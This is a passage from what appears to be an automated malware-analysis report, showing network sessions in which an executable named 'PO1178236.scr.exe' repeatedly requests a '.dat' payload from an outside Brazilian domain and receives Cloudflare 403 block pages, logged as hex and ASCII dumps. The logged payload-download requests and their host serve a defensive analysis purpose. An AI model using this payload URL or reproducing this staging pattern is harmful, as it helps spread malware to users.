3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:34 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:34 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:34 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 38 65 61 61 31 36 30 66 38 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b78eaa160f81</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:34 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 38 65 61 61 31 36 30 66 38 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b78eaa160f81',t:'MTczNjQwNzc3NC4wMDAwMDA='}
2025-01-09 07:29:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49987	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:35 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:35 UTC	999	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mPxMOUqGnAMC6zyAIw1zYn8dHKjOWCTy2NeKpgG8kmWmTG84X0z0vhveGwW6gOfFvJeWAMRzeHLqk0TliOIfr3NVvbrcsyqjDFmxbaNB0zqSucmZq3AVEbwhLzGFeFBrXgZSR6mSjCkcQAOM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7927ce5de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1661&rtt_var=886&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1076299&cwnd=212&unsent_bytes=0&cid=362a6fda005cb04b&ts=129&x=0"
2025-01-09 07:29:35 UTC	370	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:35 UTC	1369	IN	Data Raw: 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 Data Ascii: itle><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-wid
2025-01-09 07:29:35 UTC	1369	IN	Data Raw: 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 6f 6e Data Ascii: light"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-con
2025-01-09 07:29:35 UTC	1369	IN	Data Raw: 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 39 32 37 63 65 35 64 65 39 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b Data Ascii: rder-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7927ce5de98</strong></span> <span class="cf-footer-separator sm:hidden">•
2025-01-09 07:29:35 UTC	992	IN	Data Raw: 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 39 32 37 63 65 35 64 65 39 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d Data Ascii: _translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7927ce5de98',t:'MTczNjQwNzc3NS4wMDAwMDA='};var a=docum
2025-01-09 07:29:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49991	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:35 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:35 UTC	1017	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wu2slWoNB6%2BH1EiS50E%2FUd0bkE77w%2Fy58dTmENxlty%2BNNJ%2Bz5nKWS%2FU%2FywewiRp9cTTxBexBS0cPCc6QrhaKGH%2BBT%2Byru1bK9lqlWXOqT6hgSoIHLbm6ongqmKjI4fQmCtjrzxiD3pnuFH4C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7961cf18cdd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1998&min_rtt=1978&rtt_var=781&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1365762&cwnd=162&unsent_bytes=0&cid=43c6d962e534d7d8&ts=123&x=0"
2025-01-09 07:29:35 UTC	352	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:35 UTC	1369	IN	Data Raw: 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 Data Ascii: d! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content
2025-01-09 07:29:35 UTC	1369	IN	Data Raw: 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>
2025-01-09 07:29:35 UTC	1369	IN	Data Raw: 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 39 36 31 63 66 31 38 63 64 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: er sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7961cf18cdd</strong></span> <span class="cf-footer-separator
2025-01-09 07:29:35 UTC	1010	IN	Data Raw: 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 39 36 31 63 66 31 38 63 64 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4e 53 34 77 4d 44 41 77 Data Ascii: ript> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7961cf18cdd',t:'MTczNjQwNzc3NS4wMDAw
2025-01-09 07:29:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49996	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:36 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:36 UTC	1019	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s23DDE3JCVLwemAj11MgucIuGCTo9xI2uElbto%2Bn5dKkxJ11k4hE5Nj7%2FBRjmjAK%2Bv8QFFjcbkffk8xAdJUFRI%2BUq7JFu%2Fx4%2FZ3XrCq3WfG3CHi2xWR%2Bm%2BNMjapnFE%2Fvv%2FJAlq3HCAyh1rkV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b799cd6d8c72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1905&min_rtt=1901&rtt_var=721&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1509043&cwnd=174&unsent_bytes=0&cid=58e0204a4446cf56&ts=125&x=0"
2025-01-09 07:29:36 UTC	350	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:36 UTC	1369	IN	Data Raw: 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 Data Ascii: red! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" conte
